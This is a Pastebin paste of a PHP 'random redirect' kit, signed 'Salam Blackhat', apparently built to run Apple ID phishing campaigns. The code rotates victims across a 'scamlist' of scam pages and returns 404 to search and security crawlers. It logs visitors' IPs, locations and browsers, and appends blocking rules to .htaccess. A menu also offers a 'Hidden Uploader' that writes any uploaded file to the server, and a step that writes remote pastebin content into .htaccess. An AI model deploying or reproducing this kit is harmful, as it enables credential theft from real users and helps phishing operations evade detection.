Advertisement
CaFc_Br40ck

Untitled

Jul 20th, 2018
292
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 26.22 KB | None | 0 0
  1. <?php
  2. date_default_timezone_set('Asia/Jakarta');
  3. error_reporting(0);
  4. /*
  5. ================ CW.Random-Redirect V1.7 ================
  6. Original script by : CW & Leo D
  7. Thanks to :
  8. - Semua Masyarakat Dunia Maya
  9.  
  10. What's new in 1.7 :
  11. - Limit Visitor
  12.   Auto tendang visitor, jika "dia" sudah masuk lebih dari max_visit
  13.   Untuk pengguna BCC, sebaiknya disable fitur ini, karena HTTP Referer BCC itu kebanyakan sama.
  14.   Fitur ini sementara menggunakan fungsin read HTTP Referer, mungkin next time menggunakan IP
  15.  
  16. - Empty Referer
  17.   Auto tendang visitor, jika HTTP Referer nya kosong (kemungkinan bot)
  18.   Untuk pengguna BCC, sebaiknya disable fitur ini, karena HTTP Referer BCC itu kebanyakan sama.
  19.  
  20. - Stylish Visitor Log
  21.   Sebenarnya ini fitur dari versi sebelumnya, 1.6 yang dari versi sebelumnya juga mengambil dari
  22.   sumber lain. Thanks to Mas Prada untuk tampilan visitor log nya.
  23.  
  24. - Version History (Coming soon!)
  25.   Melihat daftar versi dari redirect ini,
  26. ==========================================================
  27. */
  28.  
  29.  
  30. #=========== Setting to activate feature
  31. $max_visit      = 0; # 0 = untuk disable fitur (tidak di limit), $max_visit berfungsi untuk melimit akses visitor
  32. $empty_referrer = 0; # 0 = untuk disable, 1 = untuk mengaktifkan, digunakan untuk mem'BLOCK visitor tanpa referrer
  33. $url_kick = "https://appleid.apple.com"; # URL untuk redirect jika visitor mengunjungi lebih dari Max Visit dan referer empty
  34.  
  35. session_start();
  36. $yey = date('Y');
  37.  
  38. # =================== Simple Bot Blocker by User Agent ===============
  39. if (!empty($_SERVER['HTTP_USER_AGENT'])) {
  40.     $userAgents = array(
  41.         "Google",
  42.         "Slurp",
  43.         "MSNBot",
  44.         "ia_archiver",
  45.         "Yandex",
  46.         "Rambler",
  47.         "Applebot",
  48.         "Twitterbot",
  49.         "PhantomJS",
  50.         "metauri",
  51.         "Python"
  52.     );
  53.     if (preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  54.         header("HTTP/1.0 404 Not Found");
  55.         exit;
  56.     }
  57. }
  58. # ==================== Bot Blocker End ================================
  59.  
  60. # ===================== OS Detect Function Start [From scampage] ====================
  61. function os_info($uagent) {
  62.     // the order of this array is important
  63.     global $uagent;
  64.     $oses   = array(
  65.         'Win311' => 'Win16',
  66.         'Win95' => '(Windows 95)|(Win95)|(Windows_95)',
  67.         'WinME' => '(Windows 98)|(Win 9x 4.90)|(Windows ME)',
  68.         'Win98' => '(Windows 98)|(Win98)',
  69.         'Win2000' => '(Windows NT 5.0)|(Windows 2000)',
  70.         'WinXP' => '(Windows NT 5.1)|(Windows XP)',
  71.         'WinServer2003' => '(Windows NT 5.2)',
  72.         'WinVista' => '(Windows NT 6.0)',
  73.         'Windows 7' => '(Windows NT 6.1)',
  74.         'Windows 8' => '(Windows NT 6.2)',
  75.         'WinNT' => '(Windows NT 4.0)|(WinNT4.0)|(WinNT)|(Windows NT)',
  76.         'OpenBSD' => 'OpenBSD',
  77.         'SunOS' => 'SunOS',
  78.         'Ubuntu' => 'Ubuntu',
  79.         'Android' => 'Android',
  80.         'Linux' => '(Linux)|(X11)',
  81.         'iPhone' => 'iPhone',
  82.         'iPad' => 'iPad',
  83.         'MacOS' => '(Mac_PowerPC)|(Macintosh)',
  84.         'QNX' => 'QNX',
  85.         'BeOS' => 'BeOS',
  86.         'OS2' => 'OS/2',
  87.         'SearchBot' => '(nuhk)|(Googlebot)|(Yammybot)|(Openbot)|(Slurp)|(MSNBot)|(Ask Jeeves/Teoma)|(ia_archiver)'
  88.     );
  89.     $uagent = strtolower($uagent ? $uagent : $_SERVER['HTTP_USER_AGENT']);
  90.     foreach ($oses as $os => $pattern)
  91.         if (preg_match('/' . $pattern . '/i', $uagent))
  92.             return $os;
  93.     return 'Unknown';
  94. }
  95. # ========================= END =============================
  96.  
  97. # =============== Get Browser Function start [From scampage]==================
  98. function browsername() {
  99.     $browserName = $_SERVER['HTTP_USER_AGENT'];
  100.     if (strpos(strtolower($browserName), "safari/") and strpos(strtolower($browserName), "opr/")) {
  101.         $browserName = "Opera";
  102.     } elseif (strpos(strtolower($browserName), "safari/") and strpos(strtolower($browserName), "chrome/")) {
  103.         $browserName = "Chrome";
  104.     } elseif (strpos(strtolower($browserName), "msie")) {
  105.         $browserName = "Internet Explorer";
  106.     } elseif (strpos(strtolower($browserName), "firefox/")) {
  107.         $browserName = "Firefox";
  108.     } elseif (strpos(strtolower($browserName), "safari/") and strpos(strtolower($browserName), "opr/") == false and strpos(strtolower($browserName), "chrome/") == false) {
  109.         $browserName = "Safari";
  110.     } else {
  111.         $browserName = "Unknown";
  112.     }
  113.     return $browserName;
  114. }
  115. #============= Get Browser End ==============================
  116.  
  117. #===================== [First From scampage] ==============
  118. # Double IP Lookup
  119. # Menggunakan double lookup untuk mengantisipasi jika salah satu
  120. # ip lookup mengalami error
  121. function systemInfo($ipAddress) {
  122.     $curl = curl_init();
  123.     curl_setopt($curl, CURLOPT_URL, 'http://extreme-ip-lookup.com/json/' . $ipAddress);
  124.     curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
  125.     curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
  126.     $content = curl_exec($curl);
  127.     curl_close($curl);
  128.     $details = json_decode($content);
  129.     # ============= double IP check [Gixst3r] =============
  130.    $curl2   = curl_init();
  131.     curl_setopt($curl2, CURLOPT_URL, 'http://ip-api.com/json/' . $ipAddress);
  132.     curl_setopt($curl2, CURLOPT_RETURNTRANSFER, true);
  133.     curl_setopt($curl2, CURLOPT_FOLLOWLOCATION, true);
  134.     $content2 = curl_exec($curl2);
  135.     curl_close($curl2);
  136.     $details2   = json_decode($content2);
  137.     #=================== Array Start ==================
  138.    $systemInfo = array();
  139.     # ======= Get Country Code =======
  140.    if ($details->countryCode == "") {
  141.         $systemInfo['kode_negara'] = $details2->countryCode;
  142.     } else {
  143.         $systemInfo['kode_negara'] = $details->countryCode;
  144.     }
  145.     # ======= Get Country =======
  146.    if ($details->country == "") {
  147.         $systemInfo['country'] = $details2->country;
  148.     } else {
  149.         $systemInfo['country'] = $details->country;
  150.     }
  151.     # ======= Get Region / State =======
  152.    if ($details->region == "") {
  153.         $systemInfo['region'] = $details2->regionName;
  154.     } else {
  155.         $systemInfo['region'] = $details->region;
  156.     }
  157.     # ======= Get  City =======
  158.    if ($details->city == "") {
  159.         $systemInfo['city'] = $details2->city;
  160.     } else {
  161.         $systemInfo['city'] = $details->city;
  162.     }
  163.     # ======= Get Organization Name =======
  164.    if ($details->org == "") {
  165.         $systemInfo['org'] = $details2->org;
  166.     } else {
  167.         $systemInfo['org'] = $details->org;
  168.     }
  169.    
  170.     $systemInfo['hostname']  = $details->ipName; # get hostname
  171.    $systemInfo['useragent'] = $_SERVER['HTTP_USER_AGENT']; # get user agent
  172.    $systemInfo['os']        = os_info($systemInfo['useragent']); # get os
  173.    $systemInfo['browser']   = browsername(); # get browser
  174.    return $systemInfo;
  175. }
  176.  
  177. # =============================================== Manager start
  178. if (isset($_GET['cmd'])) {
  179.     # Terdapat beberapa variabel seperti
  180.    # - manager : adalah menu utama
  181.    # - documentation : halaman dokumentasi, berisi keterangan tentang redirect ini
  182.    # - scamlist : halaman untuk mengubah, menambah, menghapus daftar scam
  183.    # - visitor : disini bisa melihat berapa visitor (clicker) yang masuk
  184.    # - htaccess : untuk membuat file htaccess (blocker)
  185.    # - uploader : gunakan dengan bijak saja, jangan lalu dipasang log dan kemudian di sebar ya (pencemaran nama baik nanti wkwk)
  186.    # =============================================== To access redirect manager
  187.    echo '
  188. <style type="text/css">
  189. a{
  190.  text-decoration:none
  191. }
  192. a:visited{
  193.  color:blue
  194. }
  195. body{
  196.  font-family:Consolas;
  197.  background: #eee;
  198.  font-size:14px
  199. }
  200.  
  201. .butn_x{
  202.  background-color: #eee;
  203.  color: #666;
  204.  border: 2px solid #bdbdbd;
  205.  border-radius:5px;
  206.  padding: 5px 20px;
  207.  margin:2px;
  208.  text-align: center;
  209.  text-decoration: none;
  210. }
  211.  
  212. .butn_x:hover{
  213.  background-color: #bdbdbd;
  214.  color: #eee;
  215. }
  216.  
  217. #wrap_x{
  218.  padding:2px;
  219.  background:#F5F5F5;
  220.  height:25%;
  221.  width: 45%;
  222.  border:solid 2px;
  223.  border-radius:5px;
  224.  border-color: #bdbdbd;
  225. }
  226.  
  227. .g_raph{
  228.  margin:auto;
  229.  height:70%;
  230.  width: 90%;
  231. }
  232.  
  233. #wrap_v{
  234.  height:100%;
  235.  width: 100%;
  236. }
  237.  
  238. #wrap_d{
  239.  margin:auto;
  240.  padding:2px;
  241.  background:#F5F5F5;
  242.  height:80%;
  243.  border:solid 2px;
  244.  border-radius:5px;
  245.  border-color: #bdbdbd;
  246. }
  247.  
  248. #wrap_o{
  249.  margin:auto;
  250.  padding:2px;
  251.  background:#F5F5F5;
  252.  height:50%;
  253.  border:solid 2px;
  254.  border-radius:5px;
  255.  border-color: #bdbdbd;
  256. }
  257.  
  258. .scl_area{
  259.  font-family:Consolas;
  260.  resize: none;
  261.  height:100%;
  262.  width: 100%;
  263.  background: #F5F5F5;
  264.  border:none;
  265.  border-radius:5px;
  266. }
  267.  
  268. .scl_area:focus{
  269.  outline: none !important;
  270. }
  271.  
  272. .vis_area{
  273.  #float: left;
  274.  height:100%;
  275.  width: 100%;
  276.  overflow-y: scroll;
  277. }
  278.  
  279. .gixs{
  280.  min-height: 400px;
  281. }
  282.  
  283. #scrollbar::-webkit-scrollbar-track{
  284.  #-webkit-box-shadow: inset 0 0 6px rgba(0,0,0,0.3);
  285.  border-radius: 10px;
  286.  background-color: #F5F5F5;
  287. }
  288.  
  289. #scrollbar::-webkit-scrollbar{
  290.  width: 7px;
  291.  background-color: #F5F5F5;
  292. }
  293.  
  294. #scrollbar::-webkit-scrollbar-thumb{
  295.  border-radius: 10px;
  296.  background-color: #bdbdbd;
  297. }
  298. table, th, td {
  299.    border: 1px solid #808080;
  300.    border-collapse: collapse;
  301. }
  302. .dsok{background-color:black}
  303. </style>';
  304.     #----------------------------------------------------------------------------------------------------------------
  305.    # ================================================ Manager
  306.    if ($_GET['cmd'] == "manager") {
  307.         echo '
  308.      <title>[Gixst3r] Redirect Manager</title>
  309.      <center><font style="font-size:30px;font-family:Consolas">[Gixst3r] Redirect Manager</font>
  310.      <br>
  311.      <font style="font-size:10px;">Copyright &copy; Gixster ' . $yey . '</font></center><hr>
  312.      <b>[MENU]</b><br>
  313.      [+] <a href=?cmd=scamlist>Scampage List</a><br>
  314.      [+] <s>View Visitor V1</s><font color=red><i> (Only Available on V1.5)</i></font><br>
  315.      [+] <a href=?cmd=visitor>View Visitor V2</a><br>
  316.      [+] <a href=?cmd=htaccess>Create .htaccess file</a><br>
  317.      [+] <a href=?cmd=uploader>Access Uploader</a><br>
  318.      [+] <a href=?cmd=version>Version History</a><br>
  319.      [+] <a href=?cmd=documentation>Documentation</a><font color=red>*Read carefully before you use this redirect</font>
  320.      
  321.      <br><br><br><br><br>
  322.      [What\'s New?]
  323.      <div id="wrap_o">
  324.      <div class="vis_area" id="scrollbar">
  325.  </div></div>';
  326.     }
  327.  
  328.     if ($_GET['cmd'] == "version") {
  329.         echo '
  330.      <title>[Gixst3r] Version History</title>
  331.      <a href=?cmd=manager> ../Back to manager </a><br>
  332.      <center><font style="font-size:30px;font-family:Consolas">[Gixst3r] Version History</font>
  333.      <br>
  334.      <font style="font-size:10px;">Copyright &copy; Gixster ' . $yey . '</font></center><hr>
  335.      '.$cull_v.'
  336.      ';
  337.     }
  338.  
  339.     #----------------------------------------------------------------------------------------------------------------
  340.    #================================================ Edit Scam List
  341.    if ($_GET['cmd'] == "scamlist") {
  342.         echo '
  343.    <title>[Gixst3r] Scam List</title>
  344.    <a href=?cmd=manager> ../Back to manager </a><br>
  345.    <center><font style="font-size:30px;font-family:Consolas">[Gixst3r] Scam List</font>
  346.    <br>
  347.    <font style="font-size:10px;">Copyright &copy; Gixster ' . $yey . '</font><br>
  348.    <hr>';
  349.         # Reference : http://www.dynamicdrive.com/forums/showthread.php?4539-how-do-i-modify-existing-txt-files-with-php#9
  350.        echo "
  351.    <form action=\"" . $PHP_SELF . "\" method=\"post\">
  352.    <div id=\"wrap_x\">
  353.      <textarea class=\"scl_area\" name=\"scamlist_a\" id=\"scrollbar\" placeholder=\"Format : http://scamlink.com (separate by new line)\" >";
  354.         # Menentukan jika file list ada atau tidak, empty atau tidak
  355.        if (!file_exists("scamlist.txt")) {
  356.             $msg_ix = "<font color=\"red\">List Empty!</font>";
  357.         } else {
  358.             $j3mbut = file("scamlist.txt");
  359.             if (empty($j3mbut)) {
  360.                 $msg_ix = "<font color=\"red\">List Empty!</font>";
  361.             }
  362.         }
  363.         # Menjalankan perintah update ketika tombol update di klik
  364.        if ($_POST['update_bt']) {
  365.             $open = fopen("scamlist.txt", "w+");
  366.             $text = $_POST['scamlist_a'];
  367.             fwrite($open, $text);
  368.             fclose($open);
  369.             echo $text;
  370.             $msg_ix = "<font color=\"green\">List Updated!</font>";
  371.         } else {
  372.             if (!file_exists("scamlist.txt")) {
  373.                 $msg_ix = "<font color=\"red\">List Empty!</font>";
  374.             } else {
  375.                 $j3mbut = file("scamlist.txt");
  376.                 if (empty($j3mbut)) {
  377.                     $msg_ix = "<font color=\"red\">List Empty!</font>";
  378.                 }
  379.                 foreach ($j3mbut as $sc) {
  380.                     echo $sc;
  381.                 }
  382.             }
  383.         }
  384.         echo "</textarea></div>
  385.      <input class=\"butn_x\" name=\"update_bt\" type=\"submit\" value=\"Update\" />\n
  386.    </form>";
  387.         echo $msg_ix . "</center>";
  388.     }
  389.    
  390.     #----------------------------------------------------------------------------------------------------------------
  391.    # =============================================== Documentation Page
  392.    if ($_GET['cmd'] == "documentation") {
  393.         $cul = curl_init();
  394.         curl_setopt($cul, CURLOPT_URL, 'https://pastebin.com/raw/vJfnTGCJ');
  395.         curl_setopt($cul, CURLOPT_RETURNTRANSFER, true);
  396.         curl_setopt($cul, CURLOPT_FOLLOWLOCATION, true);
  397.         $cull = curl_exec($cul);
  398.         curl_close($cul);
  399.         echo '
  400.      <title>[Gixst3r] Documentation</title>
  401.      <a href=?cmd=manager> ../Back to manager </a><br>
  402.      <center><font style="font-size:30px;font-family:Consolas">[Gixst3r] Documentation</font>
  403.      <br>
  404.    <font style="font-size:10px;">Copyright &copy; Gixster ' . $yey . '</font></center><br>
  405.      <hr>
  406.      <div id="wrap_d">
  407.      <div class="vis_area" id="scrollbar">
  408.  <div class="gixs">' . $cull . '</div></div></div>';
  409.     }
  410.     #----------------------------------------------------------------------------------------------------------------
  411.    # =============================================== To create .htaccess file
  412.    if ($_GET['cmd'] == "htaccess") {
  413.         echo '
  414.      <title>[Gixst3r] Create .htaccess</title>
  415.      <a href=?cmd=manager> ../Back to manager </a><br>
  416.      <center><font style="font-size:30px;font-family:Consolas">[Gixst3r] Create .htaccess</font>
  417.      <br>
  418.      <font style="font-size:10px;">Copyright &copy; Gixster ' . $yey . '</font></center><br>
  419.      ';
  420.         $cul = curl_init();
  421.         curl_setopt($cul, CURLOPT_URL, 'https://pastebin.com/raw/WLuzn04G');
  422.         curl_setopt($cul, CURLOPT_RETURNTRANSFER, true);
  423.         curl_setopt($cul, CURLOPT_FOLLOWLOCATION, true);
  424.         $cull = curl_exec($cul);
  425.         curl_close($cul);
  426.        
  427.         $htac = ".htaccess";
  428.         if (file_exists($htac)) {
  429.             echo '<center><br><br><font color=red><h3>File Already Exist!';
  430.         } else {
  431.             $fp = fopen($htac, "a");
  432.             fputs($fp, $cull);
  433.             fclose($fp);
  434.             echo '<center><br><br><font color=green><h3>.htaccess Successfuly created';
  435.             session_destroy();
  436.         }
  437.     }
  438.     #----------------------------------------------------------------------------------------------------------------
  439.    # =============================================== To access file uploader
  440.    if ($_GET['cmd'] == "uploader") {
  441.         echo '<a href=?cmd=manager> ../Back to manager </a>';
  442.                 $yey = date('Y');
  443.         echo '<head>
  444.             <title>[Gixst3r] Hidden Uploader</title>
  445.         </head>
  446.         <body style="background: #eee;font-family:Consolas"><br>
  447.             <center><font style="font-size:30px;font-family:Consolas">[Gixst3r] Hidden Uploader</font>
  448.             <br>
  449.             <font style="font-size:10px;">Copyright &copy; Gixster '.$yey.'</font>
  450.             <br>
  451.             <br>
  452.             <form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">
  453.                 <input type="file" name="file" size="50"><input name="Gixst3r" type="submit" id="Gixst3r" value="Upload" class="button"></form>';
  454.        
  455.         if( $_POST['Gixst3r'] == "Upload" ) {
  456.             if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) {
  457.                 echo '<b><font color="green">Uploaded!</font></b><br><br>';
  458.             } else {
  459.                 echo '<b><font color="red">Upload Failed!</font></b><br><br>';
  460.             }
  461.         }
  462.     }
  463.     #----------------------------------------------------------------------------------------------------------------
  464.    # =============================================== To view your redirect visitor
  465.    
  466.     #===================================================================== BETA VISITOR =====================================
  467.    #================================================================================================================
  468.    if ($_GET['cmd'] == "visitor") {
  469.         echo "
  470.        <title>[Gixst3r] Visitor Log</title>
  471.        <a href=?cmd=manager> ../Back to manager </a><br>
  472.        <center><font style='font-size:30px;font-family:Consolas'>[Gixst3r] Visitor Log *BETA</font>
  473.      <br>
  474.    <font style='font-size:10px;'>Copyright &copy; Gixster " . $yey . "</font></center><hr>
  475.    <div class='g_raph'>
  476.    <form action='" . $PHP_SELF . "'' method='post'>
  477.    <input class=\"butn_x\" name=\"clear_v\" type=\"submit\" value=\"Clear Visitor\" />
  478.        ";
  479.         $file  = file("visitor.txt");
  480.         $total = count($file);
  481.         if ($_POST['clear_v']) {
  482.             $open = fopen("visitor.txt", "w+");
  483.             $text = '';
  484.             fwrite($open, $text);
  485.             fclose($open);
  486.             echo '<font color=\'green\'>Cleared!</font>';
  487.             $total = 0;
  488.             echo '<br>Refreshing!<meta http-equiv="refresh" content="2; url=" />';
  489.         }
  490.         echo '<br>You have : <b><font color="red">' . $total . '</font></b> visitor from :';
  491. ?>
  492.      
  493.     <table class="table" width="100%">
  494.                        <thead class="thead-dark">
  495.                          <tr height="40px" class="dsok">
  496.                            <th width="200px" scope="col"><font color=white>Country</font></th>
  497.                            <th width="150px" scope="col"><font color=white>IP</font></th>
  498.                            <th width="150px" scope="col"><font color=white>Device & Browser</font></th>
  499.                            <th width="492px" scope="col"><font color=white>Referer</font></th>
  500.                            <th  scope="col"><font color=white>Access Time</font></th>
  501.                          </tr>
  502.                        </thead>
  503.                        <tbody>
  504.                            </tbody>
  505.                            </table>
  506.                            <div id="wrap_v">
  507.         <div class="vis_area" id="scrollbar">
  508.         <div class="gixs">
  509.                            
  510.              <?php
  511.        
  512.         if (count($file) !== 0) {
  513.             foreach ($file as $f) {
  514.                 #list($click, $id, $email, $ip, $country, $ua, $refferer) = explode(":=:", $f);
  515.                list($country, $ip, $deviceBrowser, $refferer, $accessTime) = explode(":=:", $f);
  516. ?>
  517. <table class="table" width="100%">
  518.  
  519.            <tr>
  520.              <td width="200px" align="center"><?php
  521.                 echo $country;
  522. ?></td>
  523.              <td width="150px" align="center"><?php
  524.                 echo $ip;
  525. ?></td>
  526.              <td width="150px" align="center"><?php
  527.                 echo $deviceBrowser;
  528. ?></td>
  529.              <td width="492px" align="center"><?php
  530.                 echo $refferer;
  531. ?></td>
  532.              <td align="center"><?php
  533.                 echo $accessTime;
  534. ?></td>
  535.            </tr>
  536.            <?php
  537.             }
  538.         }
  539. ?>
  540.  
  541.          </tbody>
  542.        </table>
  543. </div></div></div>
  544.        <?
  545.     }
  546.     #================================================================================================================
  547.    #================================================================================================================
  548. } else {
  549.    
  550.     # Cek jika tidak menggunakan parameter
  551.    $v_ip       = $_SERVER['REMOTE_ADDR'];
  552.     $systemInfo = systemInfo($v_ip);
  553.     # Cek Country
  554.    if (!empty($systemInfo['country'])) {
  555.         $v_country = $systemInfo['country'];
  556.     } else {
  557.         $v_country = "Unknown Country";
  558.     }
  559.     $sec_ip  = md5($v_ip);
  560.     $v_date  = date("d/m - H:i:s");
  561.     $v_agent = $_SERVER['HTTP_USER_AGENT'];
  562.     $refers  = $_SERVER['HTTP_REFERER'];
  563.     $sigen   = os_info($v_agent);
  564.     $broser  = browsername();
  565.    
  566.     # Cek jika scam ada atau tidak {start}
  567.    if (file_exists("scamlist.txt")) {
  568.         $slx = file("scamlist.txt");
  569.         if (!empty($slx)) {
  570.             $ls = $slx;
  571.         } else {
  572.             $ls = array(
  573.                 "https://your-scam-is.empty",
  574.                 "https://please-check-your.scam"
  575.             );
  576.         }
  577.     } else {
  578.         $ls = array(
  579.             "https://your-scam-is.empty",
  580.             "https://please-check-your.scam"
  581.         );
  582.     }
  583.     # Cek file scam selesai {end}
  584.    
  585.     $ac  = count($ls) - 1;
  586.     $rd  = rand(0, $ac);
  587.     $rda = $ls[$rd];
  588.  
  589.     # Jika referer isi
  590.    $file      = 'visitor.txt';
  591.     $searchfor = $_SERVER['HTTP_REFERER'];
  592.     $contents  = file_get_contents($file);
  593.     $pattern   = preg_quote($searchfor, '/');
  594.     $pattern   = "/^.*$pattern.*\$/m";
  595.    
  596.     # Cek parameter session id
  597.    if (!isset($_GET['SessionID'])) {
  598.         echo "<title>Coming Soon!</title><body bgcolor=black><font color=white><center><br><br><br><br><h1>Coming Soon!</h1></center></font>";
  599.         $fis = fopen("kepo.txt", "a");
  600.         fputs($fis, "=> $v_country - $v_ip - $sigen - $broser \r\n");
  601.         fclose($fis);
  602.     } else {
  603.         # Jika menggunakan parameter SessionID (isset function)
  604.        
  605.         # Cek apakah HTTP refferer kosong atau isi
  606.        if ($empty_referrer == 1) {
  607.             if (empty($_SERVER['HTTP_REFERER'])) {
  608.                 $htfile = fopen(".htaccess", "a");
  609.                 # Update .htaccess yang referer nya kosong
  610.                fwrite($htfile, '
  611.  
  612. # Empty referrer
  613. RewriteCond %{REMOTE_ADDR} ^' . $_SERVER['REMOTE_ADDR'] . '$
  614. RewriteRule .* '.$url_kick.' [R,L]
  615. ');
  616.                 fclose($htfile);
  617.                 header("location:".$url_kick);
  618.             } else {
  619.                 # Cek apakah visitor pernah mengunjungi redirect
  620.                if (!preg_match_all($pattern, $contents, $matches)) {
  621.                     $fp = fopen("visitor.txt", "a");
  622.                     # Jika visitor belum pernah, maka akan meng'update file visitor.txt
  623.                    fputs($fp, "$v_country:=:$v_ip:=:$sigen | $broser:=:$refers:=:$v_date WIB\r\n");
  624.                     fclose($fp);
  625.                     header("location:" . $rda);
  626.                    
  627.                 } else {
  628.                     # Cek visitor yang sama
  629.                    $hit = count($matches[0]);
  630.                     # Jika max_visit tidak 0 (disable), maka fitur limit visitor akan aktif
  631.                    if ($max_visit != 0) {
  632.                         # Jika jumlah visit sudah mencapai max_visit maka akan di tendang
  633.                        if ($hit < $max_visit || $hit == 0) {
  634.                             $fp = fopen("visitor.txt", "a");
  635.                             fputs($fp, "$v_country:=:$v_ip:=:$sigen | $broser:=:$refers:=:$v_date WIB\r\n");
  636.                             fclose($fp);
  637.                             header("location:" . $rda);
  638.                         } else {
  639.                             $htfile = fopen(".htaccess", "a");
  640.                             # update .htaccess
  641.                            fwrite($htfile, '
  642.  
  643. # Visit more than '.$max_visit.' times
  644. RewriteCond %{REMOTE_ADDR} ^' . $_SERVER['REMOTE_ADDR'] . '$
  645. RewriteRule .* '.$url_kick.' [R,L]
  646. ');
  647.                             fclose($htfile);
  648.                             header("location:".$url_kick);
  649.                         }
  650.                     } else {
  651.                         $fp = fopen("visitor.txt", "a");
  652.                         fputs($fp, "$v_country:=:$v_ip:=:$sigen | $broser:=:$refers:=:$v_date WIB\r\n");
  653.                         fclose($fp);
  654.                         header("location:" . $rda);
  655.                     }
  656.                 }
  657.             }
  658.         } else {
  659.             # Cek apakah visitor pernah mengunjungi redirect
  660.            if (!preg_match_all($pattern, $contents, $matches)) {
  661.                 $fp = fopen("visitor.txt", "a");
  662.                 # Jika visitor belum pernah, maka akan meng'update file visitor.txt
  663.                fputs($fp, "$v_country:=:$v_ip:=:$sigen | $broser:=:$refers:=:$v_date WIB\r\n");
  664.                 fclose($fp);
  665.                 header("location:" . $rda);
  666.                
  667.             } else {
  668.                 # Cek visitor yang sama
  669.                $hit = count($matches[0]);
  670.                 # Jika max_visit tidak 0 (disable), maka fitur limit visitor akan aktif
  671.                if ($max_visit != 0) {
  672.                     # Jika jumlah visit sudah mencapai max_visit maka akan di tendang
  673.                    if ($hit < $max_visit || $hit == 0) {
  674.                         $fp = fopen("visitor.txt", "a");
  675.                         fputs($fp, "$v_country:=:$v_ip:=:$sigen | $broser:=:$refers:=:$v_date WIB\r\n");
  676.                         fclose($fp);
  677.                         header("location:" . $rda);
  678.                     } else {
  679.                         $htfile = fopen(".htaccess", "a");
  680.                         # update .htaccess
  681.                        fwrite($htfile, '
  682.  
  683. # Visit more than '.$max_visit.' times
  684. RewriteCond %{REMOTE_ADDR} ^' . $_SERVER['REMOTE_ADDR'] . '$
  685. RewriteRule .* '.$url_kick.' [R,L]
  686. ');
  687.                         fclose($htfile);
  688.                         header("location:".$url_kick);
  689.                     }
  690.                 } else {
  691.                     $fp = fopen("visitor.txt", "a");
  692.                     fputs($fp, "$v_country:=:$v_ip:=:$sigen | $broser:=:$refers:=:$v_date WIB\r\n");
  693.                     fclose($fp);
  694.                     header("location:" . $rda);
  695.                 }
  696.             }
  697.         }
  698.     }
  699. }
  700. #-------------------------------------------------
  701. #  Maaf jika masih kurang sempurna
  702. #  Silakan edit, tambahkan, ganti apapun, disempurnakan sekiranya
  703. #  itu bisa lebih baik, tapi tolong biarkan copyright tetap ada :D
  704. #
  705. #-------------------------------------------------
  706. #
  707. #  Salam Blackhat
  708. #
  709. #  CW
  710. ?>
  711. <!-- SEKIAN -->
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement